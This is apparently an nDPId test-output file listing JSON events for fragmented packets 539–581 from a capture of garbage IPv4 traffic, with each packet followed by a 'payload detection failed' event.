+00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4700,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4724,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4842,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 